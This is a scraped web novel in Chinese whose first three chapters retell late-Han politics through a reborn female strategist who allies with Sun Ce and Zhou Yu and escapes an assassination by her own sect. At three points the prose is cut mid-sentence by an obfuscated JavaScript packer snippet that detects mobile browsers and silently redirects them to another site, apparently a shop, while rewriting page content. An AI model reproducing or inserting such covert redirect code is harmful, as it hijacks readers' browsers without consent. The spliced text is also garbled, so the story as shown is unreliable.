《[三国]从此周郎是填房》 1. 第一章 初平四年秋,寿春。 孙策从袁术的中军大营内走出。不知这是第几次,袁术又驳回了他带军东渡的请求,话里话外,尽是对一个尚未弱冠的小儿的嘲弄,令他连日以来好不容易压制下来的怒火再次迸发,一拳砸在帐外木桩上,木屑迸飞。 “匹夫竖子,安敢欺我!” 身后传来一个温润却警醒的声音:“兄长慎言。此处毕竟耳目众多。” 孙策回头,接过周瑜递来的水囊,蓦地仰头一饮而尽,唇边还渗出几点滴漏的水渍。 他狠狠一抹唇角,翻身纵马,驰出辕门,直至寿春城西。 此处鱼龙混杂,是兵痞们群聚喧嚣之地。他心情烦闷,本想寻酒浇愁,却见那平日喧闹的酒肆诡异地安静,几十号人将一张食案团团围住,却大气也不敢喘。 他踮脚一看,只见中间有一名少女跪坐食案之后,摆着几枚算筹,为人说书评点。明明韶华正好的年纪,却一身玄黑,本该灵动的眸中,只有一片死寂的深潭,仿佛看惯了王朝兴衰的神像,与这充满汗臭的地方格格不入。 他一时好奇,大步走近,却听得那清冷的声音穿透嘈杂的人群,直抵耳中: “妾以为,三日之内,此战必败。” 孙策闻言,先是微怔,随即张狂一嗤。他拨开人群,径直走到那食案前,居高临下地盯着她,语气不自觉带上几分挑衅: “喂,哪来的神棍?我军兵强马壮,为何言败?大战在即,你在这妖言惑众,就不怕我砍了你的脑袋祭旗?!” 少女闻言,抬眸望向话者。四目对视的刹那,少女胸口竟微不可察地一震,如临针拶,指尖下意识一缩,仿佛被无形的旧梦骤然烫得失魂。 眼前这双意气风发的眼睛,是那般澄澈,还没染上后来身居九五之上的阴鸷与森寒。 隔着生死的长河,这剧烈的眩晕,令她一瞬失神。 很久以前的他,再一次站在了很久以后的她面前。 还不待孙策得意,以为自己以势取人,仅仅只是一瞬,少女眼底的慌乱已一闪而逝。她压下眼底的波澜,稳住神色,不卑不亢地迎上这道避视的目光: “将军此言差矣。所谓兵强马壮,是为人和,但天时与地利何哉?我卦得三日后长江将有暴涨之潮,舟车难行。若沿江守军断我渡口、截我粮道,再以逸待劳,敢问将军,这‘兵强马壮’,还能剩几成?” 孙策看着这姑娘,眼前浮起一丝兴味。他素来不语不信这怪力乱神之辞,听闻卜卦,方欲嗤笑,却听她句句落在兵法之理上,不由得来了兴致。 他不再顾忌礼数,直接一脚踏在她面前的食案边缘:“好一个伶牙俐齿的小神棍!若你此番果真说中,我便请你喝酒!” 有人笑道:“这位少将军的酒可不好讨,看来此番我军是要大胜而归了!” 众人哄笑不歇,纷纷望向少女,看她如何应对。但不待她言语,孙策身子已微微前倾,注视她的眸子,笑问道:“但若是你说错了,又当如何?” 少女不看他,目光却落在孙策身后那位自始至终一言不发的年轻人身上。 那人清俊如玉,衣着华贵,身形颀长,站在英眉朗目、笑语频出的孙策身边,宛如一日一月,相对而照。在少女与孙策舌战之间,他只站在一侧,三缄其口,那双看似温润的眸子中,却带着一丝微不可察的审视,静静停在她的面上。 周瑜察觉到她投来的目光,微微颔首,以为回礼,但眼神却并未移开,直直锁着她的眸子。 这刹那对视之间,已在空气中迸出一触即发的火花。 少女收回目光,嘴角勾起一抹极淡的笑意,对着孙策掷地有声: “若我输了,项上人头,任凭将军取之。” *** 三日之间,晴空万里的上空,乌云缓缓堆积,直至方圆数十里之间暴雨如注,如天河倒灌。袁术军中粮断舟翻,敌军坚壁清野,正如少女所言,分毫不差。 消息传回寿春,全军震动。孙策惊骇未定,眼中只有那位黑衣少女于酒肆之中冷静得几乎慈悲的神色。 他一把抓住周瑜的手腕,力道大得惊人,眼中燃着一种前所未有的狂热: “瑜弟,去找那个小神棍!” 不顾营外大雨倾盆,孙策翻身上马,朝着那间酒肆狂奔而去。 见到那少女时,他发梢滴水未尽,狼狈不堪,但眼中的调侃轻视早已消失,取而代之的,只有掩饰不住的热意喷薄。 少女仍坐在原来的位置,面前已温着一壶酒,见二人神色匆匆闯入,只淡淡抬眸: “将军,这顿酒,看来是你请了。” 孙策望这少女,眼中只有见到绝世良驹的狂喜热切,一股脑便说了下去: “自然自然!我此来既是请客,也是想让你替我算上一卦,算算我何时才能脱离袁军,有出头之日!” 话音方落,发话的却是周瑜。他上前一步,依旧如那日直直凝视少女,但手指不知何时,已经停留在腰间佩剑的剑柄之上,无意识地摩挲着: “姑娘,即便秋潮可卜,但舟马调度、粮道策划,无一不是军中秘要,你却似乎知之甚详,故而有此一论。某只想请教,你的这份‘军情’,究竟从何而来?” 迎着周瑜略带逼视的目光,少女浅浅一笑,早已料到他有此一问: “公子说笑了。所谓天机,非是鬼神之说,而是藏在万物之中的‘理’。长江秋潮自有定数,此为‘地利’;袁公麾下粮官贪墨,军中皆知,此乃‘人和’。妾不过是看到了地利人和皆定后,那个必然会发生的‘天时’罢了。” 她这番话说得滴水不漏,玄而不虚,令孙策似懂非懂,却又听懂此中推演种种皆是洞察世情,非为鬼神之说,不禁热血上涌,眼神也愈发炽热。 独周瑜仍未被说服。 “姑娘所言,确有几分道理。但天有不测,风云难料。长江之潮既是天时,便是自然天理,岂是次次可测。某以为,姑娘此番言中,恐是‘侥幸’居多。——若姑娘当真能推演万象,不妨试析,我与兄长,此刻为何时烦忧?” 少女目光徘徊于二人之间,扫过孙策眉宇间未褪尽的沉郁,又落到周瑜沉静之下的锋芒,未几笑意浮现,将手中团扇摇若羽扇,悠悠开口: “这位孙将军,勇如猛虎,如今却枯困寿春,欲借兵而无门,欲复仇而无计,是也不是?” 孙策身子一震,脱口而出:“你怎知我姓孙?!” 少女视线又转向周瑜:“这位周公子,乃庐江大族之后,文韬武略俱佳,二世三公,名满江淮,却无半寸封地。此等屈居,非是不愿,乃是因义兄不得其时,故而随伴在侧。对也不对?” 周瑜眼底闪过一丝极淡的波澜,神色终于有所松动。 少女见二人哑口无言,语声清朗,如下判词: “卜算之道,并非问鬼求神,而是察象、筹数、理势之三者合参,此三者涵括世间万物,无需卦坛,亦可凭心推演。” 她先伸出一指,指向孙策击打木桩留下的拳印: “其一,将军力能扛鼎,却终日在此击木桩、斗牛气,乃是心有不甘,不愿久居人下。此为象。” 目光一转,又娓娓道来前几日所见所闻: “其二,风闻孙坚文台将军长子年未弱冠,已有战功。昨日听军士称你少将军,将军又在此时急于渡江东进,细算其数,便可知将军便是故破虏将军长子。” 语罢,目光转向一旁沉默的周瑜: “其三,这位公子,一望仪表便知是庐江望族,却甘愿追随兄长,甚至为其购宅安家,形影不离。若非总角之交、通家之谊,何至于此?此为人伦之理。” 她收起手指,摇了摇手中团扇,如化身经天纬地之谋臣,意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030626|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深长: “将这‘象、数、理’三者皆入筹策,便知二位便是身负霸王之勇与无双国士之才的少年英杰,与鬼神何涉?” 孙策听罢此番大论,顿觉醍醐灌顶,恍然大悟之间,如见破晓狂风揭开迷雾,一时心潮澎湃,哪还顾得上什么神不神、鬼不鬼,只觉眼前少女聪慧非常,周身更有一种澄明之气,说得比十个长舌谋士还明白,一语道破他心中最隐秘的焦灼。 他兴奋非常,上前一步,宛如猎犬嗅到猎物的气息,语气也随之激昂起来: “小神棍,你太厉害了,三言两语,竟看得如此通透!若不是今日第一次见你,我真要以为你我早便认识了!” 他语罢,只觉浑身热血上涌,一把抄起面前酒碗,仰首饮尽,又看着少女: “小神棍,既如此,能否替我推演一番,看我何时才能东渡长江,为父报仇?” 周瑜却依旧不发一语,眸中寒息渐敛,是一种更深的警觉。他伸手拦住孙策,语气虽依旧温润,却已有冷意: “姑娘似乎对我兄弟二人,了解颇深。我们此刻寄人篱下,前途未卜,姑娘煞费苦心设局,不知是哪路神仙派来,想拿我兄长做青云之梯,以便攀附的?” “攀附?” 少女终于收起笑意,眼神中流露一丝不加掩饰的嘲弄: “周公子也太看轻我了。我若真想攀那青云梯,观如今局势,寿春之中自有袁公路。二位如今兵无一卒,将无寸地,有何处值得攀附?良禽择木而栖,恐怕妾还需另择高枝。” 不待周瑜发话,她已拱手,神情从初识时的灵动,转为冷意森然: “道不同不相为谋。若有缘,他日自会相见。告辞。” 话音未落,一抹纤影已掠出酒肆,掩入街巷。人流如织,转瞬便消失不见。 “哎!你别走啊!” 孙策本想出言驳斥几句,这突如其来的变故却令他一时大惊失色,像被踩了尾巴的老虎,话比人先冲出酒肆。可此时街头熙熙攘攘,哪有半分少女的影子?只有游人如织,仿佛适才一番高谈阔论,不过幻梦一场。 “瑜弟!你看你,说话也太直接了!我们好不容易遇到个高人,就这么被你三言两语给气跑了!” 孙策语罢,痛心疾首,摆出一副长兄架子教训道:“我跟你说,跟姑娘家说话要和颜悦色,要有耐心,切不可上来便质疑……” 周瑜被义兄这幅虎头虎脑的样子逗得一阵无奈,抚额轻叹: “是是是,是瑜之过,兄长莫急。” 他抬眸望向人流消散之处,眼神深不可测。 “不出三日,我定将这位‘小神棍’请回来,卜卦之资悉由我担,权当是为今日失言,给兄长赔罪了。” *** 少女穿过数道街巷,终于在一间并不起眼的旧宅前停下脚步。 推门入内,跨过一道暗格,她才终于松了口气,脱下外衣,走到铜镜前。 镜中映出一张尚未长成的少女脸庞,熟悉却又陌生。眉心一点金箔花钿,眼尾一抹极淡的绯红,如浴火的凤翎。十五岁左右的年纪,眉眼间却凝着远不符年龄的沧桑。 她注视着镜中的自己,恍如光阴重叠,一阵眩晕,久久不语。 下一步,她要立刻修书一封,送往远在长安的父亲手中。 距离那场令家族倾覆的危机虽仍有两个春秋,但她必须告诉他,无论如何,千万不要归顺曹贼。风雷起于东南,江山尚未易主,如今正是存忠气、守汉统之时。 封好竹卷,她推开窗。心口蓦然兜上那如今尚是雏虎的少年将军的桀骜笑意。这一世,须得好好磨一磨他的爪子,令他成为她心中真正的明君。 “孙伯符,别再让我失望了。” 她目光微转,似是想起了那个白衣胜雪、目光如炬的青年。 “还有你……周公瑾。” 2. 第二章 不出三日,周瑜果然找到了那个少女。 她坐在那间三人初见的简陋茶肆之中,独坐一隅。只是这次,她并未说书,而是独自弈棋。她的面前摆着一局残棋,周瑜找到她时,她的指尖正缓缓拨动着黑子,却久久未落,仿佛在等一位失约多年的、与之对弈的故人。 周瑜见她独弈,便立在一旁,俯身看去,却见棋盘上正是他惯常的布势。 “如此开局,我昔日也常用。” 少女抬眸,见是周瑜,并不讶异,示意他入座。 “哦?若是如此,也是机缘。若周公子不弃,来日还请赐教一局,以尽雅趣。” 茶博士悄无声息地奉上新茶。热雾氤氲,将对坐二人的面容映得一半清明,一半迷离。 “怎么就公子一人?孙将军呢?”少女放下棋子,似笑非笑地看着周瑜。 这几日,周瑜倾尽人力,几乎将寿春翻了个底朝天,却杳不知其所踪,连影子都未寻得。如今她却大摇大摆,从容坐在此地,等他亲自寻上门来,语气又如此直白,吊儿郎当,分明是故意的。 “姑娘今日是刻意让周某找到的吧?”他开门见山,“某倒要请教,姑娘既言不与我等同谋,却又如此大费周折,又是为了什么?” 少女终于落子入盘,一声清响:“因为我的卦象告诉我,值得我耗费心力的,从来不是袁术,而是你们。” “我们?” 少女啜一口茶,素手执黑子,轻轻叩在棋盘天元之处: “中原龙气已散,群雄逐鹿,皆不过是冢中枯骨,唯有江东紫气隐现。这潜龙,除了你们,还能是谁?” 周瑜面如平湖,只举壶为她斟茶。清汤浅绿,涟漪荡开,实是他内心波澜之写照。 “姑娘此言太过惊世,若传入他人之耳,恐要为你我惹来祸端。某只愿匡扶社稷、兴复汉室。所谓紫气潜龙,不过无稽之谈。况乎天命虚无,还请姑娘慎言。” 少女轻笑,仿佛不知失言,峰回路转,又以另一言抛出:“是吗?公子幼时可曾在寒冬落水?” 周瑜执杯之手微顿。 “当时虽侥幸捡回一命,却从此落下病根,常常风寒缠体,靠药温存。” 周瑜眸色愈深,少女语速亦愈快: “你后来勤于习武,表面强健,实则亏空已久。若再不调养温补,待到沙场风霜扑面,便是你最大的破绽。” “你……”周瑜眼神如临惊雷。 家世背景可查,言行举止可观,但这件幼年秘辛,除了父母、他自己以及另一人,几乎无人知晓。 此刻少女言之凿凿若定谳,他所有的理智都被击得粉碎。他脑中瞬间闪过无数可能,但除了她当真能洞察天机,周瑜再也想不出第二个自圆其说之论。 他沉默片刻,终是苦笑出声:“是姑娘赢了。请随我来,兄长已等候多时了。” *** 城郊一处幽僻院落内,孙策正来回踱步,愈发浮躁。 见周瑜终于回来,身后是那日那位如石沉大海的少女,他眼睛一亮,闪着热切光芒,登时近身迎上。 少女却未理会他,只自顾自走到主位,落座倒水,已然将此处当做自家院落的做派。 “说吧,你们二人这三日四处寻我,所为何事?” 她语气闲散,似乎她才是主事之人。孙策愣了愣,随即哑然失笑,被这等反客为主的阵仗逗得满心畅快:“妙也妙也,高人果然不拘礼数!” 他坐得更近些,几乎要将脸凑到少女跟前,直直盯着她:“自然是请你算那日未竟之卦,再算我和瑜弟的前程如何!” 少女漫不经心:“我的卦可不便宜。” “没事!”孙策一挥手,拍了拍周瑜肩膀,“他有钱。” 周瑜看着身旁这位生龙活虎的义兄,在心中默默扶额。 少女却摇头轻笑,吐出一句云淡风轻:“我这一卦,贵得你们出不起。” 孙策怔住,一头雾水:“那你还来作甚?” 少女终于正襟危坐,迎上孙策的目光,眉间似有千军万马之势:“谁说你们永远出不起?” 她目光横扫,最终定格在二人身上,早已想好价码,胸有成竹,一字一顿报出:“我不要金银,不要权位。我只要二位未来的一个人情。” 她微微一笑,笑意深不见底,仿佛早已看穿了他们的未来。 “一个足以让你们日后,用整个江东来换的‘人情’。” 整个江东。 四字落地,如惊雷入水,在孙策与周瑜心中同时掀起万丈波澜。 不等他们开口,她已起身踱步,目光锐利,直扫过二人,字字掷地有声: “你们难道还想依附袁术?他刚愎自用,色厉内荏,不过将你们视作鹰犬之流,招之即来挥之即去。为此人卖命,最终必逃不过鸟尽弓藏。” 她双手后背,十五岁的年纪,却气势凌厉无比,目光逡巡二人之间: “你们如今要脱身自立,却无兵马。看似死局,但其实所缺不过一个契机。而这个契机,就在你手中。” 她身体微微前倾,望着孙策的眼神如炬: “传国玉玺。” 孙策骤然僵住,喉间仿佛卡了一颗滚烫的炭石,欲言又止。 “袁术做梦都想称帝,玉玺是他觊觎至极的筹码。如今刘繇畏惧袁术,你拿它换三千兵马,与攻打刘繇之权,他绝不会拒绝。” 孙策双拳紧握,哑声驳道: “不行,此物非同小可。亡父因此丧命不说,若果将其献予这贪得无厌的老匹夫,万一他翻脸不认,借兵不成,我们岂不是人财两空?” 周瑜亦眉头紧锁:“兄长言之有理。袁公路贪婪寡信,我们若将玉玺拱手送出,便无兵无筹。他又素来忌惮兄长,恐煽动长沙旧部自立。若是失了玉玺,只怕他会直接吞了我们这点残势,永绝后患。” 少女见二人皆出言相驳,却并未羞恼,仿佛早已预料到这般反应,便淡淡抛出早已熨帖数次的腹稿: “谁说……要‘给’他了?” 一句话,令两人同时愣住。 “……什么意思?”孙策试探轻问。 “直接给,那是交易,是认下了对方为主导。”她轻轻一顿,眉目之间锐芒愈显,“可若是我们引他来‘抢’,那结果就大不一样了。” “抢?怎么个抢法?”孙策眼里啥时间腾起兴奋的火星。 少女不疾不徐,又是伸出三根手指,布下一盘经纬之局: “第一步,放出风声,故意让袁术知晓玉玺藏于何处。待他果真派人暗中强夺玉玺,将军便当众痛斥袁术恃强欺将,在军中讨要说法,还得让全寿春都知道他袁公路篡夺我汉室传国玉玺,有不臣之心。 “第二步,在袁术得意忘形之时,我们马上将其‘强得玉玺,意在称帝’的消息,暗中传至河北袁本初与曹孟德之耳中。” 周瑜眸光一凝,已明白她此番谋划之所图。少女注意到周瑜眼神,了然一笑。 “试想袁家四世三公,名满天下,自然忌惮袁术称帝,败坏门风;曹孟德野心之辈,已得青、兖,卧榻之侧,岂容他人鼾睡?这二人如今正愁无由南下,我们便将这把刀亲手送上。” “而后呢?”孙策已然被她步步逼近的气势所裹挟。 “而后?袁术一朝夺得玉玺,岂不知已被群狼环伺,成了众矢之的!他若想活命,只能拿你们做挡箭牌。” 少女缓缓踱步,语气陡转凌厉: “第三步,我们便静观其动,因为他只能主动让你们东渡长江,用以转移视线,免遭曹袁合围。你们的兵马粮草,他不仅会给,还须给得多,给得好!你们动静越大,杀得越狠,越引起曹袁忌惮,他便越安全。因为他手握玉玺这般烫手之物,早就四面楚歌,只会想如何买命。届时,他给的不是兵马,而是自己的免死金牌。” 她最后落定一言,心满意足地看着二人: “如此,二位岂非青狮踏雾,猛虎归林?” 一计既出,惊雷破局。那本是奄奄死棋的传国玉玺,竟被她生生化作连环阳谋,令局面顿时波诡云谲,却步步皆是利己。 孙策回神,眼中错愕一扫而空,猛地一拍大腿,神情激动到极点,连连鼓掌:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030627|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “妙!妙极了!这哪是算卦的,分明是谋臣!” 他一把抱住周瑜,手劲大得像是要把他从凳上抡起来: “瑜弟,你听见了吗?神鬼莫测之计啊!我孙策这辈子头一次觉得谋士比将士还好使!” 周瑜未动。但他眼中如风静之池的神色,终于泛起震荡。 他缓缓起身,正色凝视少女,长揖及地: “姑娘,瑜……心悦诚服。” 孙策也收敛了笑容,走到她面前,与周瑜并肩而立。 “策在此,愿以姑娘马首是瞻。” 少女坦然受了他们这一拜,却无丝毫得意之色,只是缓缓起身,为二人各斟一杯热茶。 “既为同谋,便不必再行此大礼。” 她将茶盏一一推至他们面前,语气恢复了初时的平静,“往后风雨同行,我们共担此局。” 孙策端起茶盏,一饮而尽。他意气风发,仰天大笑,忽而一拍脑门,想起最重要之事: “说了这么多,竟还不知姑娘名讳!——敢问高人仙乡何处,芳名何称?” “我非高人,亦非神机妙算之士。”她语气轻柔却不失清晰,“琅琊伏氏,名韫,字昭晦。” “伏韫……”孙策低声念了一遍,心下只觉此名清丽,并不做他想。 周瑜的神情却变了。他慢慢放下茶盏,声音依旧温和,却隐有所思: “琅琊伏氏……是当今不其侯伏完大人的……” 少女抬眼,毫无回避之意,与他目光对视,语气平静如水:“正是家父。” 这一次,连孙策都怔住了。 他脸上的豪情与热烈顷刻凝滞,如瞬间踩进一滩深不见底的泥沼。 他并非不识伏完之名。琅琊伏氏,自前朝大司空伏湛起,九代祖胜,世传经学,清静无竞。而伏完之女,怎会孤身一人现身寿春?又为何主动找上他们这两个失势之人? 这是垂青,还是设局? 气氛骤然沉了半分。 少女只是淡淡一笑,笑中无半分炫耀,反藏着一种莫名的疲惫与哀意。 “这一切,只是我一人的谋断,与家门并无半分关系。” 她轻轻一抬下巴,眼神落在他们身上,重新如同早前那般清亮,却一瞬多了一重无法言喻的厚重: “你们只需记住,从今日起,我伏韫便是你们在天下,最深的一双眼。” 孙策与周瑜对视一眼,下一息,便率先开口,语气爽朗: “不愧是名门之后,难怪一开口便妙计如珠,世无其匹。早知你是伏氏女儿,该多带几坛好酒来!” 周瑜见义兄已发话,便开口道:“昭晦姑娘肯以如此谋略辅弼我等,是我二人之幸。” 伏韫长吁一口气,拱手还礼:“今日既已同心共谋,姓氏家世,皆是过往。日后还请二位以同道视之,无须再言尊卑。” 孙策兴致正浓,豪情一拍桌案:“说话说得口干舌燥,哪能没酒?瑜弟,快,叫人去把我珍藏的那两坛若下酒拿来!今日不醉不休!” 周瑜按住欲起的义兄,无奈一笑:“兄长稍安勿躁,莫忘此处还是袁术治下,不可张扬。” “怕什么!”孙策满不在乎地摆手,“今日我们三人立誓共谋,便是再隐秘的地方,也要当浮一大白!” 他一边说,一边催着周瑜去唤下人取酒,不容抗议。 周瑜只得吩咐门外侍从:“去,取我车中那坛宜城醪,再取几碟小菜来。” 侍从应声而去。孙策已拎起茶盏权作酒杯,正拿着一根油亮花生逗弄嘴边,嘴里念叨着“得酒得酒”。 伏韫却未笑。 她静静看着孙策,眼波流转,如浪影摇金。 那是只有她自己才知的,若别万年千载,万水千山,又有万语千言的万绪千端。 可她终究没有开口。 却不知身旁的周瑜,也在注视着她眸中的,如碎镜乱彩的光影。 堂中风声微起。窗外枝叶翕动,似是江东千里之外已有动静。 一杯酒尚未更酌,这场天下棋局,已再次悄然开场。 3. 第三章 城南一处小巷,空气中弥漫着雾气与陈灰,古旧潮湿的气息扑鼻。 伏韫打听一番,闻说城南一家药铺种类齐全,便循着指引来到此处。拐角处的药铺门面斑驳,外头招牌早已模糊不清,但上面简单的“药铺”二字依然清晰可辨。 世人皆知孙策少年英勇,狂傲不羁。只有她清楚,惨烈厮杀之后,铩羽而归之时,他如何披发如狂,彻夜大笑。血气上涌难抑时,他更曾在军帐中将俘虏活活打死。 这不是血性,是病,是狂症。她不忍,也不愿他再苦受折磨。今日她正是为此而来。 她走近铺中,看到一位老者正伏案打盹。 “老伯,麻烦抓药。朱砂一两,沉香二两,龙脑一两,柏子仁三两,麝香半两,甘松香二两,藿香叶三两,白檀香二两。” 老者终于转醒,肩膀微耸,缓缓抬头。睁开眼的刹那,骤然露出令人生寒的锐光,直勾勾盯着伏韫。 “姑娘,你这是要寻‘辟戾香’?” 伏韫肩头微不可察地一颤。 此香唯有洞玄派流传的古方可制,她此前九死一生偷得门派古籍方才知晓。寻常药铺,岂能轻易语出其名? 她顿感不妙,但因此处有口皆碑,恐怕并非师门据点,只当此处掌柜博闻强识,但也留了心,迎着老者的审视,维系无害的浅笑: “是家中长辈偶患恶疾,医者开了此方。我也不知这叫什么,只是依方来寻。此处可有这些药材?” 老者目光拂过她,并不多言,只慢吞吞从药柜深处取出一个包裹,放在台上: “姑娘所求,尽在其中。” 成品香? 伏韫心中蓦然被一道闪电劈过,惊觉浑身已被冷汗浸湿。 此处绝非普通的药堂。 但骑虎难下,她只能上前打开包裹。迎着微光斜照,香粉呈现出细腻的土金色,气息幽深如水底檀木,苦香阵阵。她只远远一嗅,便可确认成色完美无缺。 这里是观衡宗的据点,一定是。 伏韫回忆起门口的招牌,大隐于市,自己若非一番询问,断不可能到如此偏僻之处,还报出了洞玄派秘辛之方。 现在只能祈祷自己没有被发现了。 “多谢掌柜。不知此物价格几何?” 老者似笑非笑:“若姑娘真想要,只需回答老朽一个问题。” “什么问题?”伏韫感到自己的声音仿佛他者。 老者缓缓抬起头,在柜台上,用指节轻敲三下。 咚。咚咚。 一慢,两快。 这是洞玄派内部识别同门的最高密令。 伏韫的面庞在刹那间失去血色。 她来不及害怕,脑中已迅速飞转起来:自己究竟是何时被盯上的?是迈入此处报出“辟戾香”配方之时?——不对,这是收网。或许早在那日她现身茶肆,推演战局,就已经被观衡宗的寿春据点截获了情报,只等她这条私自出山涉机的鱼咬住鱼钩! 所以,自己问路的路人,或是给予自己情报的路人,是否已经被精心设计过了? “老伯,这是何意?若不卖,直说便是了。” 伏韫面上仍带着迷茫,继续装傻,伺机逃跑。她自以为掩饰得天衣无缝,但眼底的虚闪与额角的细汗早已落入老者眼中。 “是了,不该懂的,还是不要懂的好。” 伏韫轻吸一口气,顾不得指尖止不住的微颤,转身的瞬间,将几枚铜钱放在柜上,甚至忘了自己的询价并无回应,语气急促: “多谢。家中还有急事,告辞!” 她夺路而逃,风一卷,门帘贴上她的后背,如鬼魅垂舌,舔得她浑身一抖。 她猛地回头。身后没有传来任何追赶的脚步声。 这,才是最恐怖的地方。 洞玄派若真动杀心,从不用追杀如此低劣的方法,只会制造一场世人无法怀疑的突然意外。 伏韫从未有如此仓惶狼狈的时刻。她疾步奔入街口,如滴水入海,混进长街人流之中,以此掩盖行迹。她心跳擂如鼓震未歇,牙关亦余颤不断,余光迅速扫过街市来往行客。每一个挑担的商贩、每一位持扇闲行的过客,此时此刻,皆可能是意外的制造者。 这才是真正的天罗地网。 她喘息声重,只想快步回到落脚的旧宅,借着人流,或许观衡宗也并不容易动手一些。 来到街口,酒家门前食客纷纷,左前楼顶悬着一块巨大木制招牌,若是落下,便能一发致命。 她加快了脚步,打算快步冲过,不予观衡宗任何夺命之机。 但下一瞬—— “咔嚓!” 遽然闷响,伴着扯断的木块碎屑迸飞的摩擦。 撕裂空气的呼啸刺耳如鸣,街上行人惊叫未止,惊惶退避、四散奔逃之间,整块巨匾已朝她当头砸下! 百斤实木,突兀自高空直坠,若巨人掌风凌厉盖脸,风声啸如狼嚎,轰鸣炸耳。 来不及了。 可下一息—— 她只觉得腰间一紧,一股沉稳的力量猛然从斜后方包裹住她,几乎将她整个人翻过来。 她的鼻尖猝不及防,撞上一层温热的衣襟。清淡的佩兰香盈盈,其间暗透温润的檀木与甘松味,香意如潮,因这近距离的压迫,久久缠绵不去。 与那危险地擦肩而过的瞬间—— “轰——!” 招牌重砸而下,整个街口仿佛被巨浪掀起,木屑尘埃四散,呛入众人口鼻。惊恐跌坐地上的行人、尖叫四散的行人、不明张望的行人,全都鼻尖一痒,喷嚏此起彼伏。 她整个人几乎埋入这突如其来的怀抱,不待反应,木块坠地的巨响已惊得她肩头一颤,旋即抬头。 来人竟是周瑜。 她仰视他,更觉天光下他面如玉雕。但他那双素来温润的眼眸,正噙满混杂着惊惧与探究的怒火,连环在她腰间的手臂,都因后怕收得死紧,力气大得几乎令她生疼。 “昭晦姑娘,你为何会出现在此处?” 伏韫轻轻推开他几分,用一种近乎示弱的姿态,拉开了那过于危险的距离。 “今日闲来无事,信步闲逛,不料这街口楼阁老旧,竟有此意外,幸得周公子相助……” “意外?” 周瑜冷笑,截断她的借口。他并未逼近,反而微微后撤半步,如隔冰川。 这距离,倒比靠近更令人胆寒。 “昭晦姑娘,你今晨动身去了城南药铺,出来后便飞也似地跑入人流拥挤之处。说来也巧,这百斤招牌,为何会在你至此时忽然断落?” 他一顿,唇角缓缓勾出一个锋锐的笑意: “还是说,其实你的演算中……漏了这一环?” 伏韫心头一震,猛地抬头看他,蕴起三分怒意,针锋相对: “你跟踪我?” 周瑜摊手,只是在说一件合理不过的小事: “你我既为同谋,却相识时日不多,瑜今日只是出于关心,却不料目击此等‘意外’。” 他将意外二字咬得重了一些,俯身直视她: “其实你我结盟之时,你便从未吐露所有。今日变局,你也并不想让我知情。” 他眸中罕见流露出狡黠神色,如游蛇一击毙命: “但我既已撞破,昭晦姑娘,要如何处置我?” 他如此坦诚,倒叫伏韫无言以对。 沉默如潮,退去她身上所有伪饰。终于,伏韫面上第一次流露出毫不掩饰的疲惫脆弱。 “此地不安全。”她轻声说,“跟我来。” *** 二人穿过数条僻静小巷。日色西斜,沿途周瑜注意四周风吹草动,总算无事。 不知过了多久,终于停在一间旧宅之前。 “我来寿春已有时日,却不知还有如此隐蔽之所。难怪我整整三日都寻你不到。” 伏韫轻笑:“狡兔三窟,可惜猎人总是技高一筹。” 门扉闭合,将世间喧哗光影隔绝在外。 二人迈入屋内。伏韫点灯,连烛火的“噗嗤”声,也格外清晰。 月色温柔,透过窗棂落在她肩上。她深吸一息,像是许久才找到自己的声音: “我是伏家小姐,对,但也不对。” “我知道,”周瑜缓缓应道,“只是在等你开口。” 她眼角动了动,像是在笑,却又笑不出来:“我的真实身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030628|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,是洞玄派传人。” 周瑜眸中光芒闪动,几乎要即刻出言反问,但还是强自压下,只是看着她,等她继续。 “洞玄派传自前朝鸣雌亭侯许负。我派中人不问灵怪,只信推演,以为天命种种,皆由‘象、数、理’构成,尽可计算。我们的使命,就是在每一个乱世,去寻找那个可以最快平定天下之乱的优解。” 她轻轻踱步,垂视脚尖,整理思绪: “但门派之中,亦有观点之争。执象宗如我主张干预,认为执象以观意,乱世之时当主动下场,扶持天命之人。而另一派观衡宗、也是门中主流,认为门派使命是守象而不动其本,任何干预都是在为这乱世平添变数。因此,门派明令,禁止任何弟子私自下山入世,违者——杀。” 周瑜心惊,不知此后竟牵扯如此江湖秘辛。但见这女子如诉平常,仿佛已不是初次经历,心潮又泛起淡淡的疑惑: “所以今日,是师门追杀?” 伏韫点头,轻轻吐出四个字:“清理门户。这次落空,还有下次,或许是坠马、中毒、溺水……” 周瑜启声,在夜色中如绫罗包裹,承托住她惊弓之鸟般颤抖的尾音。 “你既已暴露,想来此处并不安全。若不介意,随后与我回府,暂居我处。观衡宗既自诩持中,想来并不敢对庐江周氏发难。” 